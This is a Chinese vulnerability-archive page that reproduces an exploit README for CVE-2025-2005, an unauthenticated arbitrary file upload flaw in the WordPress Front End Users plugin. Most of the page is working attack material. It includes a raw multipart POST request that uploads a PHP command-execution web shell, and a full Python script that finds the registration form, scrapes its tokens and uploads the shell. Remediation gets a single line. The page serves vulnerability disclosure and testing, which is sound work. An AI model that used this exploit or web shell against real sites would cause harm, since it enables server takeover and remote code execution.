关联漏洞
标题:WordPress plugin Front End Users 代码问题漏洞 (CVE-2025-2005)Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Front End Users 3.2.32及之前版本存在代码问题漏洞,该漏洞源于注册表单文件上传字段缺少文件类型验证,可能导致任意文件上传和远程代码执行。
Description
WordPress Front End Users Plugin <= 3.2.32 is vulnerable to Arbitrary File Upload
介绍
# CVE-2025-2005
WordPress Front End Users Plugin <= 3.2.32 is vulnerable to Arbitrary File Upload
# WordPress Front-End Users Plugin Exploit
## Vulnerability Information
- **Plugin Name**: Front-End Users Plugin
- **Version Affected**: <= 3.2.32
- **Vulnerability Type**: Arbitrary File Upload
- **CVSS Score**: 10 (Critical)
- **Risk**: This vulnerability allows unauthenticated attackers to upload arbitrary files (such as PHP web shells), which can then be executed remotely. This provides full code execution on the server, leading to complete compromise.
---
## Vulnerability Description
The vulnerability exists in the way the Front-End Users plugin handles file uploads through registration forms. There is no proper file extension validation, authentication checks, or file type sanitization. An attacker can send a `multipart/form-data` POST request to any registration form rendered by the plugin and include a malicious PHP file under the custom field (e.g. `Nxploit`).
Even though the plugin stores uploaded files in the `wp-content/uploads/ewd_feup_uploads/` directory, the uploaded file is renamed with a random hash. However, the file remains executable if PHP execution is allowed in the uploads directory.
---
## Proof of Concept (PoC)
### PoC 1 - Manual HTTP Request
```
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-post-id"
573
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-omit-level"
No
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="User_Password"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Confirm_User_Password"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="First Name"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Last Name"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Nxploit"; filename="shell.php"
Content-Type: application/x-php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary
Content-Disposition: form-data; name="Register_Submit"
Register
------WebKitFormBoundary--
```
After the request, the file will be saved in the following location:
```
/wp-content/uploads/ewd_feup_uploads/[RANDOMIZED_FILENAME].php
```
The filename will not match the uploaded name (e.g., `shell.php`) but can be discovered manually or guessed with a scanner.
---
### PoC 2 - Python Exploit Script
```python
import requests
from bs4 import BeautifulSoup
import tempfile
import argparse
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin By: Nxploited | Khaled Alenzi")
parser.add_argument("--url", "-u", required=True, help="Base URL of the target site (e.g. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Username to register")
parser.add_argument("--newpassword", "-np", required=True, help="Password for the new user")
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword
print("[*] Starting scan on:", base_url)
try:
response = session.get(base_url, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
print("[-] Failed to fetch base URL.")
print("Error:", str(e))
exit()
page_links = set()
for a in soup.find_all("a", href=True):
href = a["href"]
if href.startswith("/") or base_url in href:
full_url = urljoin(base_url, href)
page_links.add(full_url)
print(f"[*] Found {len(page_links)} internal pages to scan...")
registration_url = None
for link in page_links:
try:
page = session.get(link, timeout=10)
if "ewd-feup-register-form" in page.text and "ewd-feup-check" in page.text:
registration_url = link
print(f"[+] Found FEUP registration form at: {registration_url}")
break
except:
continue
if not registration_url:
print("[-] Could not automatically locate the FEUP registration form.")
print("[!] Please provide the correct path manually using --url.")
exit()
page = session.get(registration_url)
soup = BeautifulSoup(page.text, 'html.parser')
def get_input_value(name):
field = soup.find('input', {'name': name})
return field['value'] if field else ''
check_value = get_input_value('ewd-feup-check')
time_value = get_input_value('ewd-feup-time')
post_id = get_input_value('ewd-feup-post-id')
file_input = soup.find('input', {'type': 'file'})
file_field_name = file_input['name'] if file_input and 'name' in file_input.attrs else ''
print(f"[+] ewd-feup-check: {check_value}")
print(f"[+] ewd-feup-time: {time_value}")
print(f"[+] ewd-feup-post-id: {post_id}")
print(f"[+] Upload field name: {file_field_name if file_field_name else 'Not found'}")
shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
temp_shell = tempfile.NamedTemporaryFile(delete=False, suffix=".php", mode='w+b')
temp_shell.write(shell_content.encode())
temp_shell.seek(0)
data = {
'ewd-feup-check': check_value,
'ewd-feup-time': time_value,
'ewd-feup-action': 'register',
'ewd-feup-post-id': post_id,
'ewd-feup-omit-level': 'No',
'Username': username,
'User_Password': password,
'Confirm_User_Password': password,
'First Name': 'admin',
'Last Name': 'admin',
'Register_Submit': 'Register'
}
files = {file_field_name: ('shell.php', temp_shell, 'application/x-php')} if file_field_name else {}
print("[*] Uploading shell to:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
print(f"[*] HTTP Status Code: {upload_response.status_code}")
if upload_response.status_code == 200:
print("[+] Upload request completed.")
else:
print("[-] Upload may have failed.")
temp_shell.close()
```
---
## Remediation
Update the **Front-End Users** plugin to the latest secure version (if available), or disable it temporarily if no patch exists. Additionally:
---
---
## Disclaimer
This PoC is for educational and authorized security testing purposes only.
Use it responsibly and only against targets you have explicit permission to test.
by [Nxploit](https://github.com/Nxploited).
文件快照
[4.0K] /data/pocs/941bb318b6de05ebdb7535508f92cb7f74dd920f
├── [1.1K] LICENSE
└── [6.8K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。